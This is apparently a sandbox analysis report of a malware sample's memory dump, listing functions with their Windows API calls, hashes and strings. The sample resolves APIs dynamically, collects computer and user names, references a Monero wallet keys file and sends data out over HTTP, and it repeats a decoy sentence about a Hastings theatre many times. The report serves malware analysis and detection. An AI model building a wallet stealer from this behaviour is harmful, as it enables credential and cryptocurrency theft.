GetProcAddress.KERNEL32(759D0000,00926540), ref: 00B89B7E
GetProcAddress.KERNEL32(773F0000,00938900), ref: 00B89B9F
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 00B89BB6

Strings

NtQueryInformationProcess, xrefs: 00B89BAA

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: d412fc0c818ed6fe5e11a68cc3e782423b6e5fbb5f5d85677b06bc90dbeb55b9
Instruction ID: 1445ab9dbef7a9c9b63b5940a5123a4f0c1f6b523cab74bdd47be5119cdb3055
Opcode Fuzzy Hash: d412fc0c818ed6fe5e11a68cc3e782423b6e5fbb5f5d85677b06bc90dbeb55b9
Instruction Fuzzy Hash: 27A12AB9508340EFD754EFACED88A663BF9F74C301794471AA609C3764DA3A9841CB72

Function 00B745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00B7460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00B7479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B7473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B74770

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 2d375cca564b86ac61bacd50f316ad7c880283f8731c9f582d211a462d434f9b
Instruction ID: 68faca59fd0cba82159aa90d5fbdd6538fdb69eb73e0ed414f592e347349344c
Opcode Fuzzy Hash: 2d375cca564b86ac61bacd50f316ad7c880283f8731c9f582d211a462d434f9b
Instruction Fuzzy Hash: 294124216C6634EEEE35BBA88DC6F9D73BADF42748F5050A2AB04126D0CF6065234627

Function 00B74880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B74839
Part of subcall function 00B747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B74849

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B74915
StrCmpCA.SHLWAPI(?,0093E310), ref: 00B7493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B74ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B90DDB,00000000,?,?,00000000,?,",00000000,?,0093E2B0), ref: 00B74DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B74E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B74E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B74E49
InternetCloseHandle.WININET(00000000), ref: 00B74EAD
InternetCloseHandle.WININET(00000000), ref: 00B74EC5
HttpOpenRequestA.WININET(00000000,0093E210,?,0093D8A8,00000000,00000000,00400100,00000000), ref: 00B74B15

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

InternetCloseHandle.WININET(00000000), ref: 00B74ECF

Strings

------, xrefs: 00B749BD
------, xrefs: 00B74C69
", xrefs: 00B74BF2
", xrefs: 00B74D33
------, xrefs: 00B74B28

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f4ac99773893c1e8af6b0041f290f2e26b881068834dd57c8c3085bbc2bc17bf
Instruction ID: 97987b12f9bd655a8f5437190a413001dbc4d2bc6870774854162c7f1cdffc8b
Opcode Fuzzy Hash: f4ac99773893c1e8af6b0041f290f2e26b881068834dd57c8c3085bbc2bc17bf
Instruction Fuzzy Hash: FA12AC71910118AAEB15FB54DD92FEEB3B8AF14300F5041EAF106725A1EF742F49CB62

Function 00B878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87910
RtlAllocateHeap.NTDLL(00000000), ref: 00B87917
GetComputerNameA.KERNEL32(?,00000104), ref: 00B8792F

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8a1493e38ac13df3717b713f208f58f066f8efe8e6d1a18ea9cdbcc7dc799bef
Instruction ID: 8a92566b396194605e19bd00743acfb1b0ffbc073e17733e59b34a92d050a033
Opcode Fuzzy Hash: 8a1493e38ac13df3717b713f208f58f066f8efe8e6d1a18ea9cdbcc7dc799bef
Instruction Fuzzy Hash: 430162B1944204EBC700EF98DD45BAABBF8F704B25F20425AE545E2790D7745940CBA1

Function 00B87850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B711B7), ref: 00B87880
RtlAllocateHeap.NTDLL(00000000), ref: 00B87887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B8789F

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 20f1646b416a1b46ecd6059508c16eba99872a9d1c8d5614d05df2e124faa9ee
Instruction ID: 9180bf539becb7a90c8629fddd34cc3e9d068687c1176eb71b02379de82ab89d
Opcode Fuzzy Hash: 20f1646b416a1b46ecd6059508c16eba99872a9d1c8d5614d05df2e124faa9ee
Instruction Fuzzy Hash: F0F04FB1944208EBC700DF99DD49FAEBBB8EB04711F10025AFA05E2790C7745904CBA1

Function 00B71160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00B7116A
ExitProcess.KERNEL32 ref: 00B7117E

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 748be3b57adbdaf214d68d449800a4bfc95d1d1f9be1be77f30113fd14a0da91
Instruction ID: 2fde0a4b55fd49acd9a6602a609e1d19a31351bfe9f587b53667e221f08e47c3
Opcode Fuzzy Hash: 748be3b57adbdaf214d68d449800a4bfc95d1d1f9be1be77f30113fd14a0da91
Instruction Fuzzy Hash: CBD05E74D0430CDBCB00DFE8D8496DDBBB8FB08321F000694D905B2340EA315481CAB6

Function 00B89C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,00926320), ref: 00B89C2D
GetProcAddress.KERNEL32(75550000,00926420), ref: 00B89C45
GetProcAddress.KERNEL32(75550000,00938F88), ref: 00B89C5E
GetProcAddress.KERNEL32(75550000,00938FA0), ref: 00B89C76
GetProcAddress.KERNEL32(75550000,0093C898), ref: 00B89C8E
GetProcAddress.KERNEL32(75550000,0093C9A0), ref: 00B89CA7
GetProcAddress.KERNEL32(75550000,0092B3D8), ref: 00B89CBF
GetProcAddress.KERNEL32(75550000,0093C988), ref: 00B89CD7
GetProcAddress.KERNEL32(75550000,0093C8E0), ref: 00B89CF0
GetProcAddress.KERNEL32(75550000,0093CA18), ref: 00B89D08
GetProcAddress.KERNEL32(75550000,0093CA30), ref: 00B89D20
GetProcAddress.KERNEL32(75550000,00926360), ref: 00B89D39
GetProcAddress.KERNEL32(75550000,00926400), ref: 00B89D51
GetProcAddress.KERNEL32(75550000,00926380), ref: 00B89D69
GetProcAddress.KERNEL32(75550000,009263A0), ref: 00B89D82
GetProcAddress.KERNEL32(75550000,0093CA48), ref: 00B89D9A
GetProcAddress.KERNEL32(75550000,0093C8C8), ref: 00B89DB2
GetProcAddress.KERNEL32(75550000,0092B450), ref: 00B89DCB
GetProcAddress.KERNEL32(75550000,009265A0), ref: 00B89DE3
GetProcAddress.KERNEL32(75550000,0093C910), ref: 00B89DFB
GetProcAddress.KERNEL32(75550000,0093C838), ref: 00B89E14
GetProcAddress.KERNEL32(75550000,0093C8F8), ref: 00B89E2C
GetProcAddress.KERNEL32(75550000,0093CAA8), ref: 00B89E44
GetProcAddress.KERNEL32(75550000,00926440), ref: 00B89E5D
GetProcAddress.KERNEL32(75550000,0093C8B0), ref: 00B89E75
GetProcAddress.KERNEL32(75550000,0093C928), ref: 00B89E8D
GetProcAddress.KERNEL32(75550000,0093C940), ref: 00B89EA6
GetProcAddress.KERNEL32(75550000,0093C958), ref: 00B89EBE
GetProcAddress.KERNEL32(75550000,0093C970), ref: 00B89ED6
GetProcAddress.KERNEL32(75550000,0093C9B8), ref: 00B89EEF
GetProcAddress.KERNEL32(75550000,0093C9D0), ref: 00B89F07
GetProcAddress.KERNEL32(75550000,0093CAC0), ref: 00B89F1F
GetProcAddress.KERNEL32(75550000,0093C820), ref: 00B89F38
GetProcAddress.KERNEL32(75550000,00939F48), ref: 00B89F50
GetProcAddress.KERNEL32(75550000,0093C850), ref: 00B89F68
GetProcAddress.KERNEL32(75550000,0093CA60), ref: 00B89F81
GetProcAddress.KERNEL32(75550000,00926480), ref: 00B89F99
GetProcAddress.KERNEL32(75550000,0093C9E8), ref: 00B89FB1
GetProcAddress.KERNEL32(75550000,00926460), ref: 00B89FCA
GetProcAddress.KERNEL32(75550000,0093CA00), ref: 00B89FE2
GetProcAddress.KERNEL32(75550000,0093CA78), ref: 00B89FFA
GetProcAddress.KERNEL32(75550000,00926500), ref: 00B8A013
GetProcAddress.KERNEL32(75550000,00926520), ref: 00B8A02B
LoadLibraryA.KERNEL32(0093CA90,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A03D
LoadLibraryA.KERNEL32(0093CAD8,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A04E
LoadLibraryA.KERNEL32(0093C7F0,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A060
LoadLibraryA.KERNEL32(0093C808,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A072
LoadLibraryA.KERNEL32(0093C868,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A083
LoadLibraryA.KERNEL32(0093C880,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A095
LoadLibraryA.KERNEL32(0093CD18,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A0A7
LoadLibraryA.KERNEL32(0093CB98,?,00B85CA3,00B90AEB,?,?,?,?,?,?,?,?,?,?,00B90AEA,00B90AE3), ref: 00B8A0B8
GetProcAddress.KERNEL32(75750000,00926860), ref: 00B8A0DA
GetProcAddress.KERNEL32(75750000,0093CDD8), ref: 00B8A0F2
GetProcAddress.KERNEL32(75750000,009388B0), ref: 00B8A10A
GetProcAddress.KERNEL32(75750000,0093CB50), ref: 00B8A123
GetProcAddress.KERNEL32(75750000,009268E0), ref: 00B8A13B
